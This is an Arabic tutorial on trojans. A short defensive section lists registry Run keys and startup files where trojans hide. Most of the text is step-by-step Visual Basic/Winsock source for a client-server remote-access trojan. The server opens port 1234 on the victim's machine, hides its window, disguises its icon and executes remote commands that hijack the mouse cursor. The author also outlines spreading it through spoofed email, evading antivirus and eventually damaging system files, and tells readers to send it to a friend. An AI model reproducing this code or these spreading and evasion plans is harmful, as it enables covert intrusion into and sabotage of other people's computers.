بسم الله الرحمن الرحيم

عالم التروجافات وكل شيء عنه

Basheer Abduh jaree Mohammed

١٤٣٣هـ

الحمد لله رب العالمين ، القائل في محكم التنزيل (وعلمك ما لم تكن تعلم، وكان فضل الله عليك عظيماً)،والصلاة والسلام على سيدنا محمد سيد العلماء و سيد الأولين و الآخرين رسول رب العالمين، وعلى آله و صحبه أجمعين .

فمن وجد خطأً فهو مني وما كان فيه من صواب فمن توفيق الله .

Basheer2010.55@gmail.com| الفارعي

عالم التروجانات و كل شيء عنه

السلام عليكم سنبدأ بشرح موضوع طويل يتضمن الأقسام التالية

و التي تأتي على شكل اسئلة و أجوبة :
ما هي التروجانات؟ !
أين تختبىء التروجانات داخل نظامنا؟
ما وسائل الحماية منها؟
ما هي المبادئ العامة التي يمكن من خلالها بناء التروجانات؟
ما هي الاتصالات و المنافذ و طرق فتحها في جهاز الخصم؟
كيف تبني تروجانك الخاص بواسطة لغات البرمجة المختلفة؟
كيف تبث هذا التروجان إلى أصدقاءك و تقوم بتشفيرها؟

ما هي التروجانات؟؟
التروجانات أو بالعربية أحصنة طروادى هي عبارة عن برامج صغيرة يتم بثها إلى الخصم للحصول منه على معلومات أو لإزعاجه و ذلك عندما يكون متصلاً بالانترنت، و قد تطورت هذه التروجانات و إضيف لها نظام الkey Logger و الذي يمكننا من خلاله الحصول على كل ضربات أزرار لوحة المفاتيح ثم بثها إلى عنوان معين و للتروجانات دائماً نظامان عمل إما استقبل المعلومات من المقتحم و ينفذها داخل جهاز الخصم و إما استقبال المعلومات من المقتحم و إعادة بث ما يطلبه إليه و بهذه الطريقة عادة يتم بث الكوكيز الخاص بالمنتدى أو البريد الالكتروني ثم الدخول إليه و هذه العملية عادة يتم كشفها بواسطة برامج مكافحة التروجانات إلا إذا قمت ببناء هذا التروحان بنفسك و هذا ما سنقوم بتعلمه في المراحل القادمة مع تعلم الطريقة الأساسية لضرب برامج مكافحة التروجانات المشهورة حتى لا تكتشف أي تلاعب لذلك ما الاحظه أن برامج مكافحة التروجانات الغير مشهورة أقوى من المشهورة ....

أين تختبئ التروجانات..
يتعتقد الجميع بأن التروجانات تتجه مباشرة إلى المسار التالي داخل الريجستري
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
و هذا أمر خاطئ حيث يمكن أن تختبئ هذه التروجانات في أحدى المسارات التالية:
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur

Basheer2010.55@gmail.com| الفارعي

rentVersion\RunServicesOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr
entVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr
entVersion\RunOnce]
و هذه العنواوين يتم تنفيذها عادة مع كل تشغيل للجهاز
ملاحظة قد لا تجد البرنامج بصيغة exe إنما يكون متبوعا بالرمو التالي%١ ."*%
عليك البحث أيضا عن ملفات أخرى داخل هذه المسارات من الريجستري
[HKEY_CLASSES_ROOT\exefile\shell\open\command]
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell
\open\command] أو يمكن أيضاً أن تختبئ التروجانات في مجلد بدء التشغيل
و للوصول إلى هذا الملف عليك الذهاب إلى الذهاب إلى قائمة ابدأ ثم برامج ثم بدء التشغيل ثم الضغط عليه بالزر الأيمن و اختيار الأمر فتح ثم التحقق من كل مجلد أو ملف داخل الدليل السابق لأن كل الملفات و المجلدات الموجودة داخل هذا الملف يتم تشغيلها بشكل تلقائي عند بدء تشغيل الجهاز..
يمكن أيضاً أن تختبئ التروجانات داخل الملف Win.ini عليك البحث داخل هذا الملف عن توابع مثل run أو load فإن وجدت أن أسم + مسار البرنامج غريبا عليك
فأغلب الظن أنه تروجان يمكن أيضاً أن تختبئ التروجانات داخل الملف system.ini عليك البحث داخل هذا الملف عن توابع مثلshell فإن وجدت أن أسم + مسار البرنامج غريبا عليك فأغلب الظن أنه تروجان لعين أو يمكن أيضا أن يكون داخل الملف autoexec.bat قم بتحرير هذا الملف و قم بالبحث عن الملفات الغريبة
و التي تنتهي بامتدادات مثل .bat, .com, .pif, .scr, .exe أو داخل الملف _ config.sys أحيانا يمكن أن يلجأ مبرمج التروجانات إلى استخدام تقنية الأسماء المتشابه فكلنا نعرف الملف command.com قد يلجأ المبرمج إلى وضع ملف له أسمcommand.exe بحيث لا يلاحظ من يبحث عن الملف الهدف وجود تغير
أو يمكن حتى أن تجد ملف له الاسم نفسه مع الامتداد نفسه لكن في مجلد آخر..
و لحل هذه المشكلة يمكنك استخدام Windows Task Manager لتدقيق ملفات الويندوز الاساسية.

ما هي وسائل الحماية من التروجانات؟؟ !!
وسائل الحماية منها كثيرة و متعددة و كما يقال الوقاية خير من العلاج
لأن الملفات التي تلتصق بها التروجانات لا توجد إلا في المواقع الغير رسمية
كمواقع الكراكات و المواقع الاباحية أو التي يتم بثها إلى البريد الالكتروني
أو عبر برامج المحادثة.. لذا حاول قدر الإمكان الابتعاد عن مثل هذه المناطق...
كما توجد العديد من البرامج مثل ال pc cilin و ال zone Alarm و ال trojan Remover...متخصصة بازالة مثل هذه الملفات من جهازك..
كما يمكنك بطريقة manual حذف هذا الملف بعد البحث عنه بالطرق السابقة التي ذكرناها.

ما هي الاتصالات و المنافذ و طرق فتحها في جهاز الخصم؟؟
عن طرق الحصول على ال IP .
المبدأ العامل للاتصال:
في اللحظة التي تقوم بها بعمل اتصال تقوم ببث عدة أشياء
و هي كالتالي:
اسم المستخدم ،تاريخ ووقت الاتصال ،البروكسي ،منفذ الاتصال، عنوان الموقع
و البروكسي يقوم هنا بدور بوابة بينك و بين IP الموقع الذي تقوم بالاتصال معه..
المنافذ :إذا فرضا مثلا أن كل جهاز متصل بالعالم هو عبارة عن منزل
فما هي الطريقة التي يمكننا الدخول إلى هذا المنزل هي هنا المفتاح أي المنفذ

Basheer2010.55@gmail.com| الفارعي

و الذي من خلاله يمكننا الدخول إلى أي جهاز دون مشاكل تذكر و خاصة لو قمنا
بتسكير خاصية عمل برامج مكافحة التروجانات ...
كيف يتم فتح هذه المنافذ عند الخضم؟؟ !!
بواسطة التروجان طبعا و الذي سنقوم ببرمجته قريبا جدا
و سنحاول أيضا برمجة تروجان نافع ليستطيع الشخص أن يتصل بالصوت و الصورة
إلى أي مكان دون استخدام البروكسي أصلاً.
ما هي المبادئ العامة التي يمكن من خلالها بناء التروجانات؟؟
عليك قبل التفكير ببناء أحد التروجانات معرفة أحد الأمور المهمة التالية:

---

١ - معرفة جيدة بالريجستري
٢ - معرفة إحدى لغات البرمجة و ليس من الضروري هنا أن تكون لغة معقدة.
٣ - معرفة جيدة بتوابع ال APIو التي من خلالها نستطيع التحكم بالنظام بشكل كامل.
٤ - معرفة وسائل بث هذا التروجان و طرق التمويه و تشفيره.

الريجستري:
هو عبارة عن قاعدة بيانات يتم من خلالها حفظ القيم التي يتم استدعاءها لحظيا
أثناء تشغيل بعض البرامج..

لغات البرمجة:
سنقوم ببرمجة هذا التروجان بعون الله باستخدام لغة برمجة سهلة و مفهومة
مثل لغة الفيجوال بيسك ، بالإضافة إلى استخدام بعض عناصر ال ocxالتي يمكننا من
خلالها الاتصال بشبكة الانترنت و بث المعلومات إلى الجهاز الآخر

توابع ال:API
باستخدام هذه التوابع نستطيع التحكم بجهاز الخضم بشكل كامل وهذه التوابع موجودة بكل
لغات البرمجة بدأ من الفيجوال بيسك إلى الفيجوال سي++ إلى إلى...
و نستطيع أيضاً من خلال هذه التوابع الاتصال بالريجستري أو تغير قيمها

وسائل بث التروجان:
تتم عادة بث التروجانات عبر البريد الالكتروني أو الماسنجر
لذلك سننتعلم أيضا كيف نقوم ببث البريد الالكتروني + تغير عنوان الذي ارسله
فمثلا نقوم ببث الرسالة على أنها رسالة من موقع مشهور مثل مكتوب و نقوم بتحميل
التروجان داخلها.

بناء التروجان:
قبل كل شيء علينا أن نتفق على الأمور التالية:
1-عدم استخدام هذا التروجان على أي مسلم و أخذ الموضوع على أنه علم في سبيل العلم
فقط.
2-ما هي مدى خطورة هذا التروجان أي ماهي الأمور التي سنبرمجها لتقع على الخصم و
قد لخصت هذه الأشياء بالأمور التالية
و هي متسلسلة حسب الخطورة منها:

١ - ارسال رسائل مزعجة إلى الخصم دون أن يدري
٢ - إخفاء أو تلاعب بمؤشر الفأرة
٣ - التلاعب بارتعاش الشاشة و بعض الاشياء
٤ - التلاعب أو تشغيل برامج أو إغلاق برامج
٥ - قراءة أو حذف البريد الالكتروني
٦ - تخريب ملفات النظام الاساسية
٧ - تخريب الهارد وير

Basheer2010.55@gmail.com| الفارعي

سنتحدث عن ال ActiveXالتي سنقوم باستخدامها
لربط الأجهزة مع بعضها و هي الMicrosoft Winsock Control 6
و طريقة استدعاء هذا العنصر ضمن الفيجوال بيسك تتم بالطريقة التالية:
أولا: إذهب إلى ال Tool Barالموجودة في يسار الشاشة ثم إضغط بالزر الأيمن
للفأرة ستظهر لك قائمة منسدلة قم باختيار components

2-ستظهر لك الآن قائمة قم بوضع إشارة صح (check) على العنصر Microsoft Winsock Control 6
ثم إضغط على زر OK ستلاحظ بأن هناك أداة صغير لها شكل جهازي كمبيوتر متصلين
ببعضهما قد زادت عندك.
قم بعمل ضغطتين متتاليين عليها حتى يتم وضعها على الفورم الخاصة بك3 ...

ثانيا : الآن قم بإضافة زر command1 بحيث يكون
=captionفهم توابع هذا العنصر
ثم نقوم بكتابة الكود التالي(داخل الزر) و الذي من خلاله سنعرف بعض خصائص الشبكة عندنا:

code:

```
MsgBox "رقم الآي بي الخاص بالجهاز " & Winsock1.LocalIP

MsgBox "اسم الهوست " & Winsock1.LocalHostName

MsgBox "رقم المنفذ الخاص بجهازك " & Winsock1.LocalPort
```

الآن هاكم التوابع التي سنستخدمها بعمل الاتصال مع شرح كل واحدة منها:

ثالثا : حالة الاتصال:
Winsock1.Connect
البرامترات التابعة
1-رقم الآي بي بالجهاز الخصم
2-رقم المنفذ الذي تقوم بالتجسس عليه
و لتطبيقة بالطريقة التالية :
[code]

Basheer2010.55@gmail.com| الفارعي

Winsock1.Connect(ip,Port)
[\code]

حالة الحصول على بيانات (إستلام بيانات من الكلينت)
Winsock1.GetData
البرامترات التابعة:
1-البيانات القادمة
2-نوعها
3-طول نبضة البث
و لتطبيقة بالطريقة التالية:

[code]
Winsock1.GetData(data,type,maxlen)
[\code]

حالة الاستماع إلى المنفذ الذي قمنا بفتحه في جهاز الخصم:
Winsock1.Listen
-لا يوجد لها بارمترات تابعة

فتح منفذ (port)في جهاز الخصم
Winsock1.LocalPort
بارامترات التابعة هي تحديد رقم هذا المنفذ على سبيل المثال نريد أن نفتح المنفذ ١٢٣٢
فنكتب بهذه الحالة الكود التالي:
[code]
Winsock1.LocalPort=1232
[\code]

تحديد نو البرتوكول المستخدم في الاتصال:
Winsock1.Protocol
البرامترات الملحقة هي تحديد نوع البرتوكول أي إما TCP أو UDP
و لكتابة هذا الكود نضيف إشارة يساوي بعد Winsock1.Protocol فيظهر لنا خياران على الشاشة
نختار ما يناسبنا منها و نحن هنا نقوم باختيار sckTCPProtocol

حالة إرسال البيانات:
Winsock1.SendData
البرامترات الملحقة هي فقط هنا البينات وهي من النمط string
أي لكتابة الكود الذي سنقوم به ببث تعليمة أسمها مثلاً lala نكتب
[code]
Winsock1.SendData"lala"
[\code]
آلية العمل
الية العمل أخي العزيز بسيطة و غير معقدة كما يتصور البعض
حيث نقوم اولا بفتح منفذ عند الخضم بواسطة ملف ال serverثم نقوم بتحديد برتروكول الاتصال
ثم نقوم بعمل إتصال بواسطة رقم الآبي + رقم المنفذ المفتوح عند الخصم
ثم نقوم ببث البيانات التي نريدها إلى جهاز الخصم الذي يقوم بدوره باستقبال

Basheer2010.55@gmail.com| الفارعي

سنبدأ بإرسال رسائل إلى المستخدم

اولا كلنا نعرف بأن التروجان هو عبارة عن ملفين الأول عندك و الثاني عند الخصم

سنبدأ الآن بتشكيل الملف الذي سيبقى عندك و هو الclient

نفتح مشروعاً جديداً و نضيف ٢ text و lebel واحد و ثلاث أزرار و نغير عناوين هذه الأزرار لتصبح كالتالي:

name=command1:caption=اتصال
name=command2:caption=قطع اتصال
name=command3:caption=ارسل رسالة

الآن داخل الزر الأول نقوم بكتابة الكود التالي:

code:

```
Command1.Enabled = False
Label1.Caption = "جاري الاتصال"
Winsock1.Connect Text1.Text, 1234
```

شرحه:

السطر الأول لإلغاء تفعيل الزر الأول حتى لا تقوم المتصل بطلب إتصال آخر وقت الاتصال
السطر الثاني لتغير عنوان صندوق العناوين إلى جاري الاتصال
السطر الثالث للإتصال مع Ip معين نكتبه داخل ال text1 و رقم المنفذ المفتوح عند الخصم
و الذي سنقوم بفتحه عنده و ليكن المنفذ رقم ١٢٣٤

الآن داخل الزر الثاني نكتب الكود التالي:

code:

Basheer2010.55@gmail.com| الفارعي

```
Command1.Enabled = True

Label1.Caption = "تم قطع الاتصال"

Winsock1.Close
```

شرحه:
السطر الأول لإعادة تفعيل الزر الأول أي زر الاتصال
السطر الثاني لتغير صندوق العناوين إلى (تم قطع الاتصال)
السطر الثالث لإغلاق الإتصال مع الجهاز الخصم
الآن داخل الزر الثالث نكتب الكود التالي:

code:

```
Winsock1.SendData "msg" & Text2.Text
```

شرحه:
يقوم السطر السابق بارسال بيان كتابي هو msg و الذي سنرمزه في جهاز الخصم على أنه رسالة
ثم & الكلام المكتوب داخل الصندوق text2 ليتم ارسال رسالة بما بداخلها

الآن نقوم بالضغط على ال winsock و التي تعلمنا إضافتها في الدرس السابق
ثم نفكتب داخل الحدث connect الكود التالي:

code:

```
Label1.Caption = "تم عملية الاتصال بالجهاز الآخر"
```

شرحه:
السطر السابق يحدث عندما يتم الاتصال مع الجهاز الخصم و عندها يتم تغير

صندوق العناوين abelcaption الى (تم عملية الاتصال بالجهاز الآخر)
نرتب الأزار لتصبح موافقة للصورة المرفقة

الآن ننتقل إلى السيرفر و التي سنقوم بارسالها إلى جهاز الخصم

نقوم بفتح مشروع جديد
الآن نقوم كالعادة بإضافة أداة الإتصال winsock
ثم نكتب داخل الفورم load الكود التالي:

code:

```
Winsock1.LocalPort = 1234

Winsock1.Listen
```

شرحه:
يقوم السطر الأول بفتح منفذ في جهاز الخصم و هو هنا 1234
أما السطر الثاني فهو لبدء أخذ معلومات كن هذا المنفذ

الآن داخل ال winsock ضمن الحدث ConnectionRequest نقوم بكتابة الكود التالي:

code:

```
Winsock1.Close

Winsock1.Accept requestID
```

شرحه:
السطر الأول لإغلاق الاتصال و الثاني لقبول البيانات القادمة من الكلينت

الآن داخل الحدث DataArrival نكتب الكود التالي:

---

code:

```
Dim vardata As String
Dim strdata As String
Dim cmddata As String * 3
Winsock1.GetData strdata
cmddata = Left(strdata, 3)
vardata = Right(strdata, Len(strdata) - 3)
DoCommand cmddata, vardata
```

السطر السابق يتضمن تعاريف للبيانات القادمة
و السطر الأخير هو للتابع الذي سنضيفه إلى الmodule

الآن عند الحدث Error أي حدث حدوث خطأ بالاتصال نكتب الكود التالي:

code:

```
Winsock1.Close
Winsock1.Listen
```

شرحه:
السطر الأول لإغلاق الاتصال
السطر الثاني لإعادة أخذ البيانات القادمة من الكلينت
-الآن نقوم بإضافة module من قائمة project ثم نقوم بإنشاء تابع على الشكل التالي:

code:

Basheer2010.55@gmail.com| الفارعي

Public Function DoCommand(command As String, data As String)

ثم نقوم بإنشاء حالات عن البيانات القادمة (سنضيف ما نريد فيما بعد) و ذلك بإضافة
الكود التالي:

code:

Select Case LCase(command)

نضيف الآن حالة وصول البيان الذي يحمل البتتات msg و التي سنعرفها هنا على أنها msgbox
و نكتب الكود التالي:

code:

Case "msg"

MsgBox data, vbInformation, "Information"

السطر الأول نوع الحالة
السطر الثاني يقوم بإظهار صندوق رسالة إلى المستخدم يحوي على البيانات المكتوبة ضمن ال text2 في الكلينت
ثم نضيف الكود التالي لأنهاء الحالات

code:

Basheer2010.55@gmail.com| الفارعي

End Select

و ننهي هذا التابع كالعادة بالتعليمة

code:

End Function

بهذا أصبح كل شيء جاهزاً عليك الآن ارسال هذه الملف لصديقك و التجريب عليه

الخطوات التي اتفقنا عليها
نفتح المشروع السابق لنضيف له خيارات جديدة و هي التي تتعلق بمؤشر الفأرة
و سنتسخدم في هذا الدرس التوابع الجديدة التالية:
SetCursorPos:
يمكننا من خلالها تغير و تحديد مكان جديد لمؤشر الفأرة عند جهاز الخصم
SetDoubleClickTime:
يمكننا من خلال هذا التابع إنقاص الفترة الزمنية للضغط على المؤشر بحيث
لا يتمكن المستخدم من عمل ضغطين متتاليتين على الفأرة
ShowCursor:
لأظهار وإخفاء مؤشر الفأرة
نقوم في المشروع السابق(الكليت) بإضافة ثلاث أزار جديدة لتأخذ الترتيب من ٤ إلى ٧
و قم بتغير عناوينها للتالي:
name=command4:caption=جمد مؤشر الفأرة
name=command5:caption=زد سرعة ضربات الفأرة
name=command6:caption=قم بإخفاء مؤشر الفأرة
name=command7:caption=قم بإظهار مؤشر الفأرة
نقوم الآن بارسال رموز نمط string إلى جهاز الخصم ثم نقوم في الملف الثاني بترجمة هذه الرموز
نكتب داخل الزر الرابع الكود التالي:

---

code:

Private Sub Command4_Click()

Basheer2010.55@gmail.com| الفارعي

```
Winsock1.SendData "frz"
End Sub
```

و الخامس:

code:

```
Private Sub Command5_Click()
Winsock1.SendData "sss"
End Sub
```

و السادس:

code:

```
Private Sub Command6_Click()
Winsock1.SendData "hid"
End Sub
```

و السابع:

code:

```
Private Sub Command7_Click()
```


Basheer2010.55@gmail.com| الفارعي

```
Winsock1.SendData "sho"

End Sub
```

و لقد انتهينا الآن من ملف الكينت ننتقل الآن إلى ملف السيرفر في جهاز الخصم و نقوم بفتح المشروع السابق و نضيف عليه التوابع التي قمنا بشرحها سابقاً (من قائمة add-ins ثم api Viewer) ثم نقوم بالدخول إلى ال module الخاصة بنا و نضع تصاريح التوابع في قسم التصريحات العامة: أي:

code:

```
Public Declare Function SetCursorPos Lib "user32" Alias "SetCursorPos" (ByVal x As Long, ByVal y As Long) As Long

Public Declare Function SetDoubleClickTime Lib "user32" Alias "SetDoubleClickTime" (ByVal wCount As Long) As Long

Public Declare Function ShowCursor Lib "user32" Alias "ShowCursor" (ByVal bShow As Long) As Long
```

ثم نعرف ثلاث متحولات نمط srting تعبر عن التابع على النحو التالي:

code:

```
Dim setcursor As String

Dim clickTime As String

Dim show As String
```

Basheer2010.55@gmail.com| الفارعي

ثم نقوم بإضافة حالات البيانات المرمزة القادمة :

code:

```
Case "frz"
setcursor = SetCursorPos(50, 50)
Case "sss"
clickTime = SetDoubleClickTime(50)
Case "hid"
show = ShowCursor(0)
Case "sho"
show = ShowCursor(1)
```

كخطوة نهائية نقوم بإخفاء الفورم و تغير ال icon إلى شكل صورة ما

ملاحظة يمكنك أن تجرب إقتحام نفسك فتح الملف السيرفر اولاً ثم ضع الآي بي ١٢٧.٠.٠.١ .

تم بحمد الله الانتهاء من كتابة هذه النوتة وإن شاء الله هي خالية من الأخطاء وجل من لا يسهى ونرجو منكم الدعاء لنا في ظهر الغيب ولله المبتغى من وراء القصد.

Basheer2010.55@gmail.com| الفارعي

ارجو منكم الدعاء لي .....

Basheer abduh Faree Mohammed

Basheer2010.55@gmail.com

Alfaree1988@yahoo.com